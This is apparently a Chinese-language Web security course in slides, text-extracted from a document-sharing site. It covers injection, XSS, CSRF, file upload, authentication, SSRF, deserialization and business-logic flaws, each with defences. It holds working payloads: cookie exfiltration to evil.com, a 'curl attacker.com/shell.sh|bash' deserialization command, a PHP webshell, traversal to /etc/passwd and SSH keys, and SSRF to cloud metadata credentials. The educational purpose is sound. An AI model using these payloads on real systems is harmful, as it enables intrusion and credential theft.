还剩28页未读,继续阅读
本资源只提供10页预览,全部文档请下载后查看!喜欢就下载吧,查找使用更方便
文本内容:
安全漏洞原理及实战攻防课Web件第一章安全漏洞全景概述:Web在当今数字化时代应用已成为企业业务的核心载体然而安全漏洞频发导致数据泄,Web,露、服务中断等严重后果据统计超过的网络攻击针对应用层平均每个应用,80%Web,Web存在个安全漏洞15-20注入型漏洞身份认证漏洞注入、命令注入、注入等通弱口令、会话管理缺陷、认证绕过等身SQL LDAP,过恶意输入操控后端系统份验证相关问题客户端漏洞、、点击劫持等在用户浏览器中执行的攻击XSS CSRF漏洞实战的三大致命陷阱Web1入口大开输入未经任何过滤直接进入系统,SQL注入、XSS攻击如入无人之境攻击者可以任意读取数据库、执行恶意脚本,甚至控制整个服务器2后院失守身份认证和会话管理混乱,权限控制形同虚设普通用户可以越权访问管理员功能,未登录用户可以操作他人数据,会话劫持让攻击者冒充合法用户3逻辑缺陷业务规则设计不严谨,校验只在前端进行攻击者通过修改请求参数实现订单金额篡改、优惠券无限使用、短信接口轰炸等,造成直接经济损失安全防护不是技术问题,而是系统工程任何一个薄弱环节都可能成为攻击者的突破口第二章注入攻击数据库的噩梦:——SQL注入是Web应用最常见也最危险的漏洞之一当应用程序将用户输入直接拼接到SQL查询语句中,攻击者就可以通过构造特殊的输入来改变SQL语句的语义,从而实现对数据库的非法操作恶意输入拼接查询攻击者在输入框中注入SQL代码片段应用程序将输入直接拼接到SQL语句执行恶意SQL数据泄露数据库执行被篡改的SQL语句攻击者获取、修改或删除敏感数据常见注入点GET/POST参数:URL查询字符串和表单提交数据是最常见的注入点Cookie:存储在Cookie中的参数也可能被利用HTTP头:User-Agent、Referer、X-Forwarded-For等请求头注入实战演示SQL经典攻击Payload解析假设登录验证的SQL语句为:SELECT*FROM users WHERE username=$user AND password=$pass攻击者输入用户名:admin OR1=1#实际执行的SQL变成:SELECT*FROM usersWHERE username=admin OR1=1#ANDpassword=真实案例警示由于1=1恒为真,且#注释掉后面的密码验证,攻击者无需密码即可登录2019年某知名电商平台因SQL注入漏洞,导致超过300万用户数据泄露,包括姓SQLMap自动化扫描名、手机号、收货地址等敏感信息攻击者利用商品搜索接口的注入漏洞,通过联合查询获取了整个用户表的数据sqlmap-u http://target.com/pageid=1--dbssqlmap-u http://target.com/pageid=1-D database--tablessqlmap-u http://target.com/pageid=1-D database-T users--dump0102信息收集漏洞验证识别注入点,判断数据库类型构造Payload测试是否存在注入03数据获取权限提升枚举数据库、表、列,提取敏感数据注入防御策略SQL预编译参数化查询输入验证与转义使用占位符而非字符串拼接将数据与代码严格分白名单验证输入格式对特殊字符进行转义处理,,离类型校验确保数字字段只接收数字•:长度限制防止超长输入•:$stmt=$pdo-prepareSELECT*FROM特殊字符转义处理单引号、双引号等•:usersWHEREusername=;$stmt-execute[$username];最小权限原则数据库账号只授予必要的操作权限隐藏详细错误信息,应用程序使用普通权限账号•禁止使用或等高权限账号•root sa生产环境关闭数据库错误回显•ORM框架的使用Web应用防火墙WAF使用成熟的框架如、、部署作为纵深防御的一层可以识别和拦截常见的ORMHibernate DjangoORM WAF,可以有效防止注入因为这些框架内部注入攻击模式但不能替代代码层面的安全Sequelize SQL,SQL WAF实现了参数化查询但要注意避免使用原生或字措施只能作为辅助防护手段SQL,符串拼接的场景第三章跨站脚本攻击浏览器里的隐形炸:XSS——弹跨站脚本攻击Cross-Site Scripting,XSS是一种代码注入攻击,攻击者通过在Web页面中注入恶意脚本,当其他用户浏览该页面时,恶意脚本在其浏览器中执行,从而窃取用户信息、劫持会话或进行钓鱼欺诈反射型XSS1恶意脚本作为请求参数提交,服务器将其直接反射到响应页面中需要诱使用户点击包含恶意代码的URL链接攻击代码不存储在服务器,影响范围相对有限存储型XSS2恶意脚本被存储在服务器数据库中如论坛帖子、评论、个人资料,当其他用户访问包含该数据的页面时,脚本自动执行危害最大,可以持续攻击所有访问者DOM型XSS3攻击载荷在客户端执行,不经过服务器通过修改DOM环境来执行恶意代码,完全发生在浏览器端,服务器日志无法记录攻击痕迹XSS攻击的严重危害窃取Cookie和会话令牌:获取用户身份凭证,劫持用户会话钓鱼欺诈:伪造登录表单,诱骗用户输入账号密码网页篡改:修改页面内容,传播虚假信息或恶意链接传播蠕虫:在社交网络中自动转发恶意内容,实现快速传播键盘记录:监控用户键盘输入,窃取敏感信息实战案例分析XSS反射型XSS:URL注入触发存储型XSS:论坛留言植入DOM型XSS:客户端脚本漏洞攻击者构造恶意攻击者在论坛评论中提交页面中存在代码URL:::http://victim.com/searchq=scripta img src=x document.writep+lertdocument.cookie/script onerror=fetchhttp://evil.comc=+location.hash.substr1+/p;document.cookie当用户点击链接后搜索页面将未经过滤的脚本直攻击者构造,URL:接输出到中浏览器执行该脚本并弹出评论被存储到数据库当其他用户浏览该帖子时HTML,,信息攻击者可以将发送到自己的图片加载失败触发事件执行恶意Cookie Cookieonerror,http://victim.com/page#scriptalert服务器代码将用户发送到攻击者服务JavaScript,Cookie1/script器脚本直接在客户端执行服务器完全无感知,真实世界的XSS蠕虫年的蠕虫是历史上最著名的攻击案例攻击者利用的漏洞在个人资料中植入恶意脚本当其他用户访问该2005MySpace SamyXSS MySpaceXSS,资料时脚本自动添加攻击者为好友并复制蠕虫到访问者的资料页短短小时内超过万用户被感染,20,100防御技巧XSS输入过滤与输出编码这是防御XSS的核心策略:输入验证:白名单验证,拒绝包含特殊字符的输入输出编码:将特殊字符转换为HTML实体转为lt;转为gt;转为quot;转为#x27;/转为#x2F;内容安全策略CSP HttpOnly Cookie使用安全框架通过HTTP响应头限制浏览器可以加载的资源:设置Cookie的HttpOnly属性,防止JavaScript访问:现代Web框架如React、Vue、Angular默认对输出进行转义,大大降低XSS风险但要注意使用dangerouslySetInnerHTML等不安全API时仍需谨慎Content-Security-Policy:default-src self;Set-Cookie:sessionid=xxx;HttpOnly;Securescript-src selftrusted-cdn.com即使存在XSS漏洞,攻击者也无法通过脚本窃取Cookie禁止内联脚本执行,只允许从指定来源加载JavaScript防御XSS需要采用纵深防御策略:输入验证+输出编码+CSP+HttpOnly Cookie多层防护,任何单一措施都不足以完全防御XSS攻击第四章跨站请求伪造冒名顶替的攻击:CSRF——跨站请求伪造Cross-Site RequestForgery,CSRF是一种劫持用户身份,以用户名义发送恶意请求的攻击方式攻击者诱使已登录的用户访问恶意网站,利用用户浏览器中的登录凭证,向目标网站发送伪造的请求用户登录合法网站用户访问bank.com并完成登录,浏览器保存了该网站的Cookie访问恶意页面攻击者诱使用户访问evil.com,该页面包含指向bank.com的恶意请求自动发送请求恶意页面通过表单自动提交或图片标签向bank.com发送请求服务器执行操作bank.com验证Cookie有效,误认为是用户主动发起的请求,执行转账等操作典型攻击场景资金转账修改密码发表内容攻击者构造转账请求,将受害者账户资金转伪造密码修改请求,将用户密码改为攻击者以用户名义在论坛、社交网络发布垃圾信入攻击者账户由于请求携带了合法的指定的值,从而完全接管用户账户息或恶意链接,损害用户声誉并传播攻击Cookie,银行系统认为这是用户授权的操作实战演示CSRF构造恶意表单自动提交攻击者创建一个看似正常的网页evil.com,其中包含隐藏的表单:htmlbody onload=document.forms
[0].submitform action=https://bank.com/transfer method=POST input type=hidden name=to value=attacker_account/inputtype=hidden name=amount value=10000//form/body/html当已登录bank.com的用户访问这个页面时,表单会自动提交,在用户毫不知情的情况下完成转账操作利用Referer缺失绕过防护某些网站通过检查Referer头来防御CSRF,但这种防护可以被绕过:•使用HTTPS页面向HTTP页面发送请求,浏览器不会发送Referer通过meta name=referrer content=never禁止发送Referer•利用浏览器漏洞或插件移除Referer头GET请求的CSRF攻击如果敏感操作使用GET请求,攻击更加简单攻击者只需构造一个图片标签:imgsrc=https://bank.com/transferto=attackeramount=10000/用户访问包含该图片的任何页面都会触发攻击因此,敏感操作必须使用POST、PUT、DELETE等方法防御方法CSRFCSRF Token机制验证Referer和Origin同步Token模式:服务器生成随机Token嵌入表单,提交时验证Token有效性检查HTTP请求头中的Referer或Origin字段,确保请求来自合法域名:inputtype=hidden name=csrf_token value=random_token_value/if!request.headers.origin.startsWithhttps://bank.com{return403;}双重提交Cookie:将Token同时存储在Cookie和请求参数中,服务器验证两者是否一致Token应该具有不可预测性、一次性或短时效性,并且与用户会话绑定但此方法存在局限:某些代理或防火墙会移除这些头,部分合法请求可能被误拦截SameSite Cookie属性用户交互验证设置Cookie的SameSite属性,限制跨站请求携带Cookie:对于高风险操作,要求用户进行额外验证:•输入验证码Set-Cookie:sessionid=xxx;SameSite=Strict;Secure•短信确认码•输入当前密码Strict:完全禁止跨站请求携带Cookie•二次确认弹窗Lax:允许部分安全的跨站请求如GET链接导航增加攻击难度,即使存在CSRF漏洞也无法自动化执行第五章文件上传漏洞后门的入口:——文件上传功能是Web应用的常见功能,但如果缺乏严格的安全控制,攻击者可以上传恶意文件如Webshell、病毒木马,从而完全控制服务器文件上传漏洞通常是获取服务器权限的最直接途径绕过文件类型检查修改文件扩展名、MIME类型或文件头,欺骗服务器验证机制上传Webshell将恶意脚本文件上传到服务器可访问的目录访问恶意文件通过浏览器访问上传的Webshell URL执行任意命令利用Webshell执行系统命令,完全控制服务器常见绕过技巧双扩展名:上传shell.php.jpg,利用Apache解析漏洞将其作为PHP执行大小写绕过:上传shell.PhP,某些系统对大小写不敏感空格和点号:shell.php空格或shell.php.,Windows会自动去除末尾字符Content-Type伪装:上传PHP文件时将Content-Type设为image/jpeg图片马:在正常图片文件末尾追加PHP代码,通过文件包含漏洞执行00截断:shell.php%
00.jpg,某些语言遇到0x00会截断字符串文件上传实战案例PHP Webshell上传与利用攻击者创建一个简单的PHP Webshell文件shell.php:phpifisset$_REQUEST[cmd]{system$_REQUEST[cmd];}通过文件上传功能将其上传到/uploads/目录如果上传验证存在漏洞,攻击者可以绕过限制成功上传访问http://victim.com/uploads/shell.phpcmd=ls即可执行系统命令,查看服务器文件列表进一步可以:•读取配置文件获取数据库密码•下载整个网站源代码•上传更强大的控制工具•添加系统后门账户Apache解析漏洞Apache在处理多个扩展名时,从右往左识别,直到遇到可识别的类型攻击者上传shell.php.xxx,如果xxx不在Apache配置的类型列表中,Apache会将其作为PHP文件解析IIS解析漏洞:IIS
6.0会将*.asp目录下的所有文件都当作ASP执行攻击者创建shell.asp目录,然后上传任意文件到该目录,都会被当作ASP脚本执行2018年2022年某政府网站因文件上传漏洞被植入后门,泄露大量公民个人信息某电商网站因商品图片上传未验证,导致数据库被拖库勒索文件上传防御措施严格的文件类型验证上传目录安全配置白名单机制:只允许特定扩展名,如.jpg、.png、.pdf禁止执行权限:通过Web服务器配置禁止上传目录执行脚本MIME类型检查:验证Content-Type,但不能单独依赖目录与代码分离:将上传目录放在Web根目录之外文件头魔数验证:读取文件前几个字节,验证真实文件类型独立域名存储:使用CDN或对象存储服务单独存放用户文件文件内容检查:使用图像处理库重新渲染图片,移除恶意代码#Apache配置示例Directory/var/www/uploads php_flag engineoffOptions-ExecCGI AddHandlertext/plain.php.php
3.phtml/Directory文件名安全处理文件大小和数量限制病毒扫描•使用随机字符串重命名文件•限制单个文件大小,防止存储空间耗尽•集成杀毒引擎如ClamAV扫描上传文件•移除或替换特殊字符•限制用户上传文件总数•隔离可疑文件进行人工审核•限制文件名长度•实施上传频率限制,防止滥用•定期扫描已上传文件•将原始文件名存储在数据库而非文件系统第六章身份认证与会话管理漏洞:身份认证和会话管理是Web应用安全的基础这类漏洞会导致攻击者绕过身份验证、冒充合法用户、劫持用户会话,从而完全接管用户账户弱口令与暴力破解用户使用简单密码如
123456、password,攻击者通过暴力破解或字典攻击轻易获取访问权限缺少账户锁定机制使得批量尝试成为可能JWT签名绕过JSON WebToken如果配置不当,攻击者可以修改算法为none绕过签名验证,或者暴力破解弱密钥,伪造任意身份的Token会话固定攻击攻击者诱使用户使用指定的Session ID登录,登录后攻击者使用相同Session ID访问系统,无需知道用户密码即可获取访问权限会话劫持通过XSS窃取Cookie、中间人攻击拦截Session ID、猜测可预测的Session ID等方式,获取用户的会话凭证,冒充用户身份其他常见认证漏洞认证绕过:通过修改请求参数、SQL注入等方式跳过登录验证重置密码漏洞:验证码可预测、重置链接未绑定用户、验证流程缺陷多因素认证缺失:仅依赖密码,没有短信验证码、OTP等二次验证Session不过期:登出后Session仍然有效,或者Session永久有效并发登录:允许同一账户在多处同时登录,增加被盗用风险身份认证漏洞实战弱口令后台登录攻击者发现管理后台地址/admin,尝试常见弱口令:•admin/admin123•admin/123456•root/password由于系统未实施密码强度策略和登录尝试限制,攻击者成功登录并获取管理员权限,可以查看所有用户数据、修改系统配置JWT none算法绕过正常的JWT Header:{alg:HS256,typ:JWT}攻击者将算法修改为none:{alg:none,typ:JWT}并移除签名部分如果服务器没有严格验证算法类型,将接受未签名的Token,攻击者可以伪造任意用户身份会话固定攻击演示攻击者访问http://victim.com获取Session ID:ABC123,然后诱使受害者访问http://victim.comPHPSESSID=ABC123并登录登录后,服务器没有重新生成Session ID,攻击者使用相同的Session IDABC123访问系统,即可以受害者身份进行操作真实案例:大规模撞库攻击2019年,攻击者利用其他网站泄露的用户名密码数据库,对多个热门网站进行撞库攻击由于大量用户在不同网站使用相同密码,攻击者成功登录了数百万个账户,导致严重的隐私泄露和经济损失身份认证防御策略强密码策略登录保护机制•要求密码至少8位,包含大小写字母、数字、特殊字符•失败N次后锁定账户或IP一段时间•禁止使用常见弱密码,维护黑名单•添加验证码防止自动化攻击•强制定期更换密码如90天•登录异常检测:新设备、异地登录提醒•禁止重复使用最近N次密码•记录登录日志,便于审计和追溯•使用bcrypt、Argon2等安全算法存储密码哈希JWT安全配置•严格验证算法,禁止none算法•使用足够强度的密钥至少256位•设置合理的过期时间如15分钟•重要操作要求重新认证•使用Refresh Token机制会话安全管理多因素认证MFA•登录成功后重新生成Session ID•短信验证码OTP•使用安全的随机数生成Session ID•邮箱验证码•设置HttpOnly、Secure、SameSite属性•TOTP算法的身份验证器Google Authenticator•实施Session超时机制闲置30分钟自动登出•生物识别指纹、人脸识别•登出时彻底销毁Session•硬件安全密钥YubiKey•单点登录SSO统一管理认证对于敏感操作修改密码、转账强制要求二次验证第七章服务端漏洞揭秘:服务端漏洞直接威胁服务器安全攻击者可以读取敏感文件、执行任意代码、获取内网资源甚至完全控制服务器这类漏洞往往危害巨大是攻击者最希望发现的目标,,,目录遍历Path Traversal服务器端请求伪造SSRF反序列化漏洞攻击者通过等路径符号跳出当前目录访问服务器上的攻击者利用服务器的网络请求功能让服务器访问内网资应用程序在反序列化不可信数据时攻击者通过构造恶意../,,,任意文件可以读取配置文件、密码文件、源代码等敏源或对外发起攻击可以探测内网拓扑、访问内网服序列化对象,在反序列化过程中触发任意代码执行感信息务、读取云服务器元数据等常见于、、等语言利用复杂但危害极Java PHPPython,例如:download.phpfile=../../../../etc/passwd例如大:http://victim.com/fetchurl=http://
169.
254.
169.254/latest/meta-data/其他服务端漏洞外部实体注入利用解析器读取本地文件或发起XXEXML:XML SSRF命令注入将恶意命令注入到系统调用中执行:模板注入在服务端模板引擎中注入恶意代码SSTI:文件包含漏洞包含远程或本地恶意文件执行代码:目录遍历与SSRF实战目录遍历经典Payload SSRF利用云元数据攻击者发现文件下载功能存在目录遍历漏洞:许多云服务器AWS、阿里云等提供元数据接口,攻击者利用SSRF访问该接口获取敏感信息:http://victim.com/downloadfile=report.pdf http://victim.com/fetchurl=http://
169.
254.
169.254/latest/meta-data/iam/security-credentials/尝试读取/etc/passwd文件:可以获取:•临时访问密钥http://victim.com/downloadfile=../../../../etc/passwd•实例角色信息如果成功,可以进一步读取:•网络配置•用户数据脚本•/etc/shadow-密码哈希文件•~/.ssh/id_rsa-SSH私钥•/var/www/config.php-应用配置文件•/proc/self/environ-环境变量可能包含密钥高级绕过技巧•URL编码:..%2F..%2F..%2Fetc%2Fpasswd•双重URL编码:..%252F..%252F•绝对路径:/var/www/../../etc/passwdSSRF攻击内网服务http://victim.com/fetchurl=http://
192.
168.
1.100:8080/admin利用服务器访问内网管理界面,绕过防火墙限制真实案例:Capital One数据泄露反序列化漏洞详解与利用序列化与反序列化原理序列化是将对象转换为字节流以便存储或传输,反序列化则是逆过程许多编程语言在反序列化时会自动调用对象的某些方法如__wakeup、readObject,攻击者通过构造特殊对象,在这些方法中注入恶意代码构造恶意对象触发反序列化创建包含恶意代码的序列化对象应用程序解析序列化数据1234传递给目标代码执行通过Cookie、POST参数等传递恶意代码在服务器执行PHP反序列化利用Java反序列化利用PHP对象在反序列化时会自动调用__wakeup或__destruct魔术方法:Java的readObject方法在反序列化时被调用,Apache Commons Collections等常用库存在可利用的Gadget Chain,攻击者可以串联多个类实现任意代码执行class Evil{public$cmd;function__destruct{system$this-cmd;}}$payload=serializenewEvil;//攻击者发送序列化数据unserialize$payload;//触发代码执行Shiro反序列化漏洞CVE-2016-4437Apache Shiro框架使用AES加密Cookie存储序列化对象,但使用了硬编码的默认密钥攻击者可以:
1.使用默认密钥解密Cookie
2.构造恶意序列化对象利用CommonsCollections等库
3.使用默认密钥加密恶意对象
4.发送恶意Cookie触发反序列化
5.在服务器执行任意命令使用ysoserial工具可以快速生成各种语言的反序列化Payload:java-jar ysoserial.jar CommonsCollections5curl http://attacker.com/shell.sh|bash|base64服务端漏洞防御目录遍历防御SSRF防御•使用白名单验证文件路径,禁止../等路径符号•禁止访问内网IP段
127.
0.
0.
1、
192.
168.*、
10.*等•将文件映射到内部ID,避免直接使用文件名•使用白名单限制可访问的域名或协议•使用安全的文件操作API,如realpath获取绝对路径•禁用不必要的协议file://、gopher://等后验证•设置请求超时和大小限制•限制Web应用运行用户的文件系统权限•对云元数据接口设置防火墙规则•将敏感文件存储在Web根目录之外•使用代理服务器进行外部请求,便于监控和过滤反序列化防御•避免反序列化不可信数据•使用JSON等安全的数据格式代替序列化•对序列化数据进行签名和加密验证•使用安全的序列化库,禁用危险类•及时更新框架和依赖库补丁•实施白名单机制,只允许反序列化特定类通用防御措施•最小权限原则:应用程序使用最低权限运行•及时更新系统和应用补丁•输入验证:所有外部输入都不可信,严格验证•部署入侵检测系统IDS/IPS•关闭不必要的服务和端口•实施日志审计和异常监控•定期安全审计和渗透测试•网络隔离和访问控制第八章协议与配置漏洞:HTTP服务器和应用的配置不当也会带来安全风险协议本身的一些特性如果使用不当或者缺Web HTTP,少必要的安全响应头都可能被攻击者利用,不安全的HTTP方法方法可以回显客户端请求被用于跨站追踪攻击窃取TRACE:,XST,HttpOnlyCookie方法如果未正确限制攻击者可以上传或删除服务器文件PUT/DELETE:,方法泄露服务器支持的方法信息OPTIONS:HTTPHTTP响应头注入攻击者通过注入换行符在响应头中插入恶意内容可以实现\r\n HTTP,:设置恶意•Cookie注入代码•XSS缓存投毒攻击•会话固定攻击•过时的SSL/TLS协议使用或等已知存在漏洞的加密协议容易遭受、等攻击SSL
2.0/
3.0TLS
1.0,POODLE BEAST,导致通信内容被解密弱加密套件如、同样存在风险RC4DESHTTP配置漏洞实战TRACE方法利用示例攻击者发现服务器启用了TRACE方法:curl-X TRACEhttp://victim.com/TRACE/HTTP/
1.1Host:victim.comCookie:sessionid=secret123服务器回显请求,包括Cookie结合XSS漏洞,攻击者可以绕过HttpOnly限制窃取Cookie:scriptvar xhr=new XMLHttpRequest;xhr.openTRACE,/,true;xhr.send;xhr.onload=function{fetchhttp://evil.com/cookie=+this.responseText;};/scriptX-Frame-Options缺失导致点击劫持如果网站没有设置X-Frame-Options响应头,攻击者可以将网站嵌入到iframe中,通过透明图层诱导用户点击:iframe src=http://victim.com/delete-account style=opacity:
0.1/iframebutton style=position:absolute;top:100px;left:100px点击领取奖励/button配置漏洞防御12禁用危险HTTP方法设置安全响应头在Web服务器配置中明确禁用TRACE、PUT、DELETE等方法:X-Frame-Options:DENY或SAMEORIGIN,防止点击劫持X-Content-Type-Options:nosniff,防止MIME类型嗅探#Apache配置TraceEnable OffLimitExceptGET POSTHEAD Content-Security-Policy:限制资源加载,防御XSSDeny fromall/LimitExcept#Nginx配置if$request_method!~Strict-Transport-Security:强制HTTPS访问^GET|POST|HEAD${return405;}X-XSS-Protection:1;mode=block,启用浏览器XSS过滤器Referrer-Policy:控制Referer信息泄露3升级TLS版本与加密套件•禁用SSL
2.0/
3.0和TLS
1.0/
1.1•只支持TLS
1.2和TLS
1.3•禁用弱加密算法RC
4、DES、MD5•优先使用AEAD加密套件如AES-GCM•启用前向保密Forward Secrecy•定期更新OpenSSL等加密库其他配置加固措施HSTS配置示例•隐藏服务器版本信息Strict-Transport-Security:max-age=31536000;•自定义错误页面,避免信息泄露includeSubDomains;preload•禁用目录浏览•设置适当的文件权限•启用访问日志和审计强制浏览器在一年内只能通过HTTPS访问网站及所有子域名第九章业务逻辑漏洞程序员的隐患:——业务逻辑漏洞是最难防御也最容易被忽视的安全问题它们不是传统的技术漏洞,而是业务流程设计缺陷,通常由于开发者对业务理解不足、缺少严格验证、过度信任客户端导致订单金额篡改前端JavaScript计算订单总价并提交,攻击者修改请求参数中的价格字段,将1000元商品改为1元购买后端未进行价格校验,直接按照提交的金额创建订单核心问题:信任客户端提交的价格数据短信轰炸与验证码绕过短信发送接口未做频率限制,攻击者编写脚本批量调用,对目标手机号进行短信轰炸或者验证码可被重复使用、永不过期,攻击者可以暴力枚举或重放验证码核心问题:接口缺少防刷机制权限越权访问水平越权:通过修改用户ID参数访问其他用户数据,如/api/user/123/orders改为/api/user/456/orders垂直越权:普通用户通过修改URL直接访问管理员功能,如/admin/users核心问题:后端未验证操作权限其他常见业务逻辑漏洞优惠券叠加使用:多次使用同一优惠券或组合使用导致负价格支付回调伪造:伪造支付成功通知,未支付获取商品库存超卖:并发购买时未正确处理库存扣减签到奖励刷取:通过修改系统时间或重放请求多次领取推荐返利刷取:通过批量注册小号刷推荐奖励业务逻辑漏洞实战步骤2:拦截请求步骤1:正常购物流程使用Burp Suite等代理工具拦截提交订单的POST请求用户选择商品加入购物车,前端显示价格1000元,点击结算步骤4:白嫖成功步骤3:修改参数服务器未验证价格合法性,按照1元创建订单并扣款,攻击者以极低价格购买高价商品将请求中的price参数从1000修改为1,或者quantity从1改为-1短信接口频率绕过某网站短信接口设置了60秒间隔限制:POST/api/send-sms{phone:13800138000}攻击者发现限制基于IP地址,通过以下方式绕过:•使用代理IP池轮换•添加X-Forwarded-For头伪造IP•每次请求后清除Cookie•修改手机号格式:+86-138-0013-8000成功实现每秒发送数十条短信未授权访问后台管理攻击者发现管理后台地址/admin/dashboard,尝试直接访问:
1.前端跳转到登录页,但URL没有改变
2.通过浏览器开发工具修改前端代码,移除跳转业务逻辑漏洞防御严格的后端校验永远不要信任客户端:所有关键业务逻辑必须在服务端验证重新计算而非接收:订单金额、积分变化等由服务端根据商品信息重新计算数据一致性检查:验证提交的数据与数据库记录是否一致合法性验证:检查金额、数量等参数是否在合理范围内//错误示例$price=$_POST[price];createOrder$price;//正确示例$product=getProduct$_POST[product_id];$price=$product-price*$_POST[quantity];createOrder$price;完善的权限控制基于角色的访问控制RBAC:为每个用户分配角色,每个角色对应一组权限操作前验证:每次操作前检查用户是否有权限访问该资源资源所有权验证:确保用户只能操作属于自己的数据最小权限原则:默认拒绝,只授予必要的最小权限//验证用户是否有权限查看该订单if$order-user_id!==$current_user-id!$current_user-isAdmin{return403;}接口防刷与频率限制审计日志与异常检测•基于用户ID、IP、设备指纹的多维度限流•记录所有关键操作日志谁、何时、做了什么•滑动窗口或令牌桶算法控制频率•监控异常数据:负数金额、超大数量、频繁操作•添加图形验证码或滑块验证•设置告警规则,及时发现可疑行为•风控系统识别异常行为模式•定期审查日志,发现潜在攻击•对敏感操作增加二次确认业务逻辑漏洞的防御需要开发者深入理解业务流程,考虑各种异常场景,不能只关注正常用户的使用路径每个输入点、每个业务环节都要问:如果用户是恶意的,会怎么做第十章:综合实战演练与攻防思路漏洞链组合攻击示例单个漏洞的利用可能受限,但组合多个漏洞可以实现更大的破坏以下是一个真实的攻击链路:信息收集发现网站使用Struts2框架,版本较旧远程代码执行利用Struts2漏洞获取Webshell提权利用内核漏洞提升至root权限横向移动获取数据库密码,访问内网其他服务器数据窃取导出敏感数据并清除日志痕迹渗透测试流程常用安全工具推荐信息收集:域名、IP、子域名、端口、服务、技术栈Burp Suite:Web应用渗透测试的瑞士军刀漏洞扫描:使用自动化工具发现潜在漏洞Nmap:网络扫描和主机发现漏洞验证:手工验证漏洞真实性和可利用性SQLMap:自动化SQL注入工具漏洞利用:获取敏感信息或系统权限Metasploit:漏洞利用框架后渗透:权限维持、横向移动、数据收集OWASP ZAP:免费的Web安全扫描器报告编写:详细记录发现的漏洞和修复建议Wireshark:网络协议分析Nikto:Web服务器漏洞扫描防御体系建设有效的Web安全防御需要构建多层次的安全体系:安全开发生命周期SDL:在需求、设计、开发、测试、部署各阶段融入安全代码审查:定期进行人工代码审查和自动化静态分析安全测试:渗透测试、漏洞扫描、模糊测试运营监控:WAF、IDS/IPS、日志分析、异常检测应急响应:建立安全事件响应流程和团队安全培训:提升开发和运维人员的安全意识结语:构筑坚固的Web安全防线安全是持续的旅程而非终点Web安全是一个不断演进的领域新的漏洞类型层出不穷,攻击手法日益复杂,防御技术也在持续进步作为开发者和安全从业者,我们必须保持学习的心态,及时跟进最新的安全动态和最佳实践持续学习纵深防御关注OWASP、CVE等安全资讯,学习最新漏洞原理,参加安全会议和CTF竞赛,不断提升技术能力单一防护措施永远不够,需要构建多层防御体系,从代码、配置、网络、监控等多个层面全面防护全员参与实战为王安全不只是安全团队的责任,开发、测试、运维、业务人员都需要具备安全意识,共同构筑防线理论知识需要通过实践检验,建议搭建安全实验环境如DVWA、WebGoat,亲手复现和防御各类漏洞从漏洞原理到实战防御本课程系统讲解了Web安全的核心知识体系:•注入攻击、XSS、CSRF等经典漏洞•文件上传、认证绕过、反序列化等服务端漏洞•配置缺陷和业务逻辑漏洞•实战演练和综合防御策略掌握这些知识,你已经具备了发现和防御大多数Web安全问题的能力。
个人认证
优秀文档
获得点赞 0